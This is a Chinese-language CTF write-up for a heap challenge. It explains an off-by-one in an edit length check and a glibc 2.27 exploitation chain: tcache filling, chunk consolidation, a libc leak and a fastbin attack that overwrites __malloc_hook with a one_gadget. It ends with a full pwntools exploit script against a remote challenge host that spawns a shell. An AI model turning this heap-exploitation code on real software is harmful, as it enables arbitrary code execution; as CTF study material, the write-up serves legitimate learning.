漏洞点:
在edit里,长度检查里如果长度比原长度大10则返回原长度+1 off_by_one
__int64 __fastcall sub_E3C(int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}
小难点:
- 用calloc建块,不使用tcache,所以tcache的不检查头也不能用,只能用错位写malloc_hook
- 写到malloc_hook就只能用one,但这里大多数都不能用,一直试到one[7],realloc+10调栈才成功
步骤:
- 建68+f8+68+f8*8 后7个删掉填满tcache再建7个0x68再删掉填tcache
- 利用2的off_by_one多的一位free1,3进行向前合并
- 再建f8,在2处得到libc
- 建68得到重叠块
- 建f8耗掉unsort
- free重叠块到fastbin再修改进行fastbinattack得到malloc_hook-0x23
- 写入one即可
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
libc_start_main_ret = 0x21a87
else:
p = remote('node4.buuoj.cn', 26308)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b"CHOICE: "
def add(size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"size: ", str(size).encode())
def edit(idx, fake_size, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"size: ", str(fake_size).encode())
p.sendafter(b"content: ", msg)
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"index: ", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"index: ", str(idx).encode())
#context.log_level = 'debug'
add(0x18)
add(0xf8) #1
add(0x68) #2
[add(0xf8) for i in range(8)]
add(0x18)
[free(i+4) for i in range(7)]
[add(0x68) for i in range(7)]
[free(i+4) for i in range(7)]
free(1)
edit(2, 0x68+10, b'A'*0x60+ p64(0x170)+b'\x00')
free(3)
add(0xf8) #1
show(2)
p.recvuntil(b"content: ")
malloc_hook = u64(p.recv(8)) - 0x60 -0x10
libc_base = malloc_hook - libc_elf.sym['__malloc_hook']
free_hook = libc_base + libc_elf.sym['__free_hook']
system = libc_base + libc_elf.sym['system']
one_gadget= libc_base + one[7]
realloc = libc_base + libc_elf.sym['realloc']
print('libc:', hex(libc_base))
add(0x68) #3
add(0xf8)
free(3)
edit(2, 0x8, p64(malloc_hook - 0x23))
add(0x68) #3
add(0x68) #5
edit(5, 27, b'\x00'*(3+8) + p64(one_gadget) + p64(realloc+10))
add(0x18)
#gdb.attach(p)
#pause()
p.sendline(b'cat /flag')
p.interactive()